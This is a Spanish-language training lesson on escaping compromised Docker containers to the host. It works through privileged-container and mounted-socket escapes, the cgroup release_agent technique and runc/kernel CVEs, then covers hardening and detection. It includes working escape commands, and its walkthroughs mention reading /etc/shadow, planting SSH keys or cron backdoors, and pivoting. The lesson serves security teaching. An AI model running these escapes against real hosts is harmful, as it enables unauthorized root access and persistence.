Docker escape: cómo se sale de un contenedor comprometido al host
· 9 min de lectura
Un contenedor no es una caja fuerte. Aprende las técnicas clásicas para escapar al host: contenedor privilegiado, mount del socket Docker, capabilities peligrosas, CVE-2019-5736 (runc), montajes de /proc, cgroup release_agent.
Los contenedores Docker son isolamiento, no una barrera de seguridad. Esa frase, repetida incansablemente por los equipos de Docker durante años, sigue sorprendiendo a desarrolladores que los usan como «máquinas virtuales ligeras». Un contenedor es, en el fondo, un conjunto de procesos del host corriendo con un namespace propio, un cgroup propio, y unas capabilities limitadas. Si cualquiera de esas restricciones se afloja, el contenedor deja de estar aislado y un atacante dentro puede llegar al host.
Esta lección cubre las técnicas clásicas de container escape: qué flags inseguros de docker run convierten el contenedor en una vía rápida a root del host, qué CVE históricos (runc, Docker, containerd) rompieron el aislamiento, y cómo configurar entornos reales para que una RCE en una aplicación dentro de un contenedor no se convierta en RCE en el host subyacente. Es el salto natural tras conseguir RCE vía las lecciones web del bloque: muchas aplicaciones modernas corren en Docker, y lo primero que hace un operador es comprobar si puede escapar.
Practica solo en contenedores propios o laboratorios autorizados. Probar escape en contenedores de producción ajenos sin permiso explícito es acceso no autorizado y delito.
Primero: ¿estoy en un contenedor?#
Comprobaciones rápidas desde dentro:
# /.dockerenv existe habitualmente en Docker
ls -la /.dockerenv
# cgroup revela el runtime
cat /proc/1/cgroup
# Si ves /docker/<hash> o /kubepods/, sí estás contenerizado
# PID 1 no es init del sistema
ps -p 1 -o comm=
# Variables de entorno típicas
env | grep -iE "KUBERNETES|DOCKER|CONTAINER"
Si ves /docker/... en cgroup o /.dockerenv existe, estás en Docker. Si /proc/1/environ muestra c estás en Podman. Si hay variables KUBERNETES_SERVICE_HOST`, en Kubernetes.
La superficie de escape#

Los caminos más usados:
Contenedor privilegiado#
Flag: docker run --privileged
El contenedor hereda todas las capabilities, acceso a todos los dispositivos (/dev/*), y los cgroups son escribibles. Es equivalente a correr como root en el host.
Escape típico:
# Montar el disco del host
mkdir /mnt
mount /dev/sda1 /mnt
chroot /mnt /bin/bash
# Ya estás en el host
Si puedes ejecutar fdisk -l y ver /dev/sda, suele estar hecho.
Mount del socket Docker#
Flag: -v /var/run/docker.sock:/var/run/docker.sock
El socket de Docker dentro del contenedor te permite hablar con el daemon del host. Lanzar un nuevo contenedor privilegiado desde ahí es RCE:
docker -H unix:///var/run/docker.sock run -it --privileged \
--pid=host --net=host \
-v /:/host alpine chroot /host /bin/sh
Este patrón es endemicamente común en runners CI/CD: Jenkins, GitLab CI, GitHub self-hosted runners con Docker in Docker. Cualquier RCE en un job mueve al host subyacente en segundos.
Capabilities peligrosas#
Algunas capabilities, aunque el contenedor no sea --privileged, dan caminos directos a escape:
- CAP_SYS_ADMIN: casi equivalente a root; permite montar sistemas de ficheros.
- CAP_SYS_PTRACE:
ptraceprocesos del host sipid=hosto si el namespace está compartido. - CAP_SYS_MODULE: cargar kernel modules → RCE directo en kernel del host.
- CAP_DAC_READ_SEARCH: leer cualquier archivo del host ignorando permisos.
Comprobar:
capsh --print
# Current: cap_sys_admin,cap_sys_ptrace,...
Namespace PID host#
Flag: --pid=host
Ves todos los procesos del host desde dentro. Combinado con cualquier way de inyección de código, llegas al host. Y con CAP_SYS_PTRACE puedes meter shellcode en un proceso privilegiado del host.
Namespace network host#
Flag: --net=host
El contenedor usa la pila de red del host directamente. Puedes escuchar en localhost, hacer ARP spoofing, acceder a servicios internos.
Montajes sensibles#
-v /:/host: todo el host montado, solo quedachroot /host.-v /proc:/proco-v /sys:/sys: acceso al kernel interno.-v /var/run/containerd/containerd.sock:/...: equivalente al docker socket para containerd.
CVEs famosos#

CVE-2019-5736 (runc)#
Un contenedor compromete el binario runc del host sobrescribiéndolo durante un docker exec. Afectaba a todos los runtimes basados en runc (Docker, Kubernetes, containerd). Parches disponibles desde febrero 2019.
release_agent (cgroup v1)#
Si el contenedor tiene un cgroup v1 writable y la capability CAP_SYS_ADMIN:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$PWD/exploit.sh" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
El release_agent se ejecuta como root en el host cuando el cgroup se queda vacío. Clásico de 2019-2020, mitigado en cgroup v2 y en runtimes modernos.
CVE-2022-0847 (Dirty Pipe)#
Fallo en el kernel Linux que permite escribir en archivos de solo lectura (incluidos binarios del host) desde un contenedor sin capabilities especiales. Afectó Linux 5.8+ hasta parches específicos. Ejemplo de por qué el kernel compartido es el talón de Aquiles de los contenedores.
CVE-2024-21626 (Leaky Vessels, runc)#
Vulnerabilidad en runc por file descriptors mal cerrados que permitía escape sin capabilities especiales. Afectó contenedores corriendo en runc < 1.1.12. Parches urgentes en enero 2024.
Comprobaciones durante un pentest#
Flujo típico tras RCE en una app contenedorizada:
# 1. ¿Estoy en Docker?
ls /.dockerenv && cat /proc/1/cgroup
# 2. ¿Soy root dentro del contenedor?
id
# 3. ¿Qué capabilities tengo?
capsh --print 2>/dev/null || cat /proc/self/status | grep Cap
# 4. ¿Sockets Docker montados?
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
# 5. ¿Dispositivos del host accesibles?
ls -la /dev/sda* /dev/mapper 2>/dev/null
# 6. ¿Montajes sospechosos?
mount | grep -vE "^proc|^sysfs|^tmpfs|^overlay|^cgroup"
# 7. ¿Compartido PID o net del host?
ls /proc/*/root 2>/dev/null | head
ip link show
Con eso tienes el fingerprint completo de lo que el contenedor te deja hacer. Herramientas que lo automatizan:
- deepce: script bash todo-en-uno, detecta y propone escapes.
- CDK: toolkit en Go, incluye exploits CVE-2019-5736, release_agent, etc.
- amicontained: enumera capabilities y namespaces en forma legible.
Defender un entorno Docker#
- Nunca
--privilegedsalvo necesidad específica documentada. - No montar
/var/run/docker.socken contenedores que no son explícitamente administradores. - Capabilities mínimas:
--cap-drop=all --cap-add=NET_BIND_SERVICEes el patrón. - User namespaces:
--userns=hostdeshabilitado,userns-remaphabilitado en el daemon para que root dentro ≠ root fuera. - Seccomp profile customizado (el default de Docker ya bloquea muchas syscalls peligrosas).
- AppArmor o SELinux aplicados al contenedor.
- Read-only root filesystem cuando se pueda:
--read-only. - Mantener runc, containerd, Docker actualizados: cada CVE de escape se parchea rápido, pero hay que aplicarlo.
- Kernel al día: Dirty Pipe y equivalentes se mitigan con parches.
Para Kubernetes: Pod Security Standards (Restricted), nunca hostPath: /, nunca hostPID: true, nunca hostNetwork: true salvo pods de sistema. La próxima lección (Kubernetes RBAC y hardening) lo detalla.
Escapes paso a paso#
Para fijar las dos técnicas más comunes, dos walkthroughs cortos.
Escape vía contenedor privilegiado#
Supón que acabas de conseguir shell como root dentro de un contenedor lanzado con --privileged. Pasos:
# 1. Confirmar que ves dispositivos del host
ls -la /dev/sda*
# brw-rw---- 1 root disk 8, 1 ... /dev/sda1
# 2. Montar la raíz del host
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# 3. Cambiar raíz y ejecutar como host
chroot /mnt/host /bin/bash
# 4. Verificar
hostname
cat /etc/hostname
# Ahora ves el hostname del host, no del contenedor
A partir de ahí tienes shell del host. Añadir clave SSH, backdoor en cron, y pivotar a otras máquinas.
Escape vía socket Docker montado#
Supón que el contenedor tiene /var/run/docker.sock montado dentro. Pasos:
# 1. Comprobar que puedes hablar con el daemon
docker ps
# Lista contenedores del host
# 2. Lanzar un contenedor nuevo con todo
docker run -it --rm \
--privileged --pid=host --net=host \
-v /:/host \
alpine chroot /host /bin/sh
# 3. Ya estás en el host
cat /etc/shadow
En entornos CI/CD con Docker in Docker este flujo se ejecuta en segundos tras una RCE en un build job.
Hardening con User namespaces#
Una defensa que vale la pena entender bien es userns-remap. Por defecto, root dentro del contenedor (UID 0) corresponde a root del host (UID 0). Con userns-remap, UID 0 dentro se mapea a algo como UID 231072 fuera. Resultado: aunque el atacante consiga «root» dentro y escape, en el host es un usuario sin privilegios.
Activarlo (/etc/docker/daemon.json):
{
"userns-remap": "default"
}
Reiniciar Docker. Limitaciones: no se puede combinar con --privileged ni con contenedores de red del host; ciertos volúmenes requieren ajuste de UID. Pero para producción con contenedores de aplicación es un multiplicador de seguridad enorme.
Rootless Docker y Podman#
Alternativa más moderna: ejecutar el daemon entero sin root. Docker rootless y Podman soportan este modo. El atacante que escape termina como el usuario que corrió el daemon, no como root. Es el patrón recomendado para desktop y para CI; en producción con requisitos de alto rendimiento todavía hay casos donde el daemon con root tiene ventaja.
Errores comunes del defensor#
- Usar
--privilegedpor defecto porque «así funcionan las pruebas». - Montar el socket Docker en jobs CI porque «así se ejecuta docker dentro de docker».
- No limitar capabilities y pensar que seccomp solo ya protege.
- Kernel del host desactualizado por miedo a reiniciar en producción.
- Un contenedor con
net=hostpara «facilitar networking» en microservicios. - Olvidar que la base image puede traer herramientas útiles al atacante (gcc, curl, ssh).
Preguntas frecuentes#
¿Podman es más seguro que Docker?#
Por defecto, sí. Podman corre rootless (sin daemon privilegiado) y los contenedores tienen menos privilegios. Pero las mismas técnicas de escape aplican si configuras mal.
¿Containerd y CRI-O también son vulnerables?#
Sí. Comparten runc por debajo. CVE-2019-5736 y 2024-21626 afectaron a todos.
¿Un contenedor sin red puede escapar?#
Sí: muchos escapes son por filesystem o kernel, no por red. --network=none protege de ataques desde la red pero no de escape.
¿Docker Desktop en Windows/Mac está afectado?#
El contenedor corre dentro de una VM Linux (WSL2 o HyperKit). Un escape te da root en esa VM, no en Windows/Mac. Mejor aislamiento accidental que en Linux nativo.
¿Dónde practico?#
El laboratorio database de whoami-labs incluye un contenedor con mount de socket y uno privilegiado para que practiques el escape canónico. Hay además una máquina con runc vulnerable para reproducir CVE-2019-5736 en entorno controlado.
¿Cómo se detecta un escape ya consumado?#
En el host: procesos nuevos con PPID extraño (el PPID del proceso contenedor), archivos nuevos en /etc (claves SSH añadidas, cron jobs), cambios en el histórico de bash de root, conexiones salientes anómalas. Herramientas EDR para Linux (Falco, Tetragon, osquery con reglas) detectan muchos patrones en tiempo real. En Kubernetes, un runtimeClass que no coincide con el habitual, un pod que lanzó otro con mounts del host, o la lectura de secretos cross-namespace son señales.
¿Vale la pena invertir tiempo en gVisor o Kata Containers?#
En entornos multi-tenant sí. gVisor (sandbox en user-space que intercepta syscalls) y Kata Containers (VM ligera por pod) ofrecen aislamiento mucho más fuerte que namespaces de Linux. El coste es rendimiento (gVisor) o memoria (Kata). Para plataformas SaaS que ejecutan código de terceros (CI públicos, notebooks compartidos, serverless) es la elección correcta. Para contenedores de tu propia aplicación, un runc bien configurado con userns-remap suele bastar.
Resumen#
- Los contenedores Docker aíslan procesos pero no son una barrera de seguridad por sí mismos.
- Escapes clásicos:
--privileged, socket Docker montado, capabilities peligrosas (SYS_ADMIN, SYS_MODULE),--pid=host,--net=host, montajes sensibles. - CVEs famosos: runc 2019-5736, release_agent cgroup v1, Dirty Pipe (CVE-2022-0847), Leaky Vessels (CVE-2024-21626).
- Enumeración rápida:
/.dockerenv,capsh --print, buscar sockets montados. - Herramientas: deepce, CDK, amicontained.
- Defensa: capabilities mínimas, no montar socket, userns-remap, seccomp+AppArmor, kernel y runtime actualizados.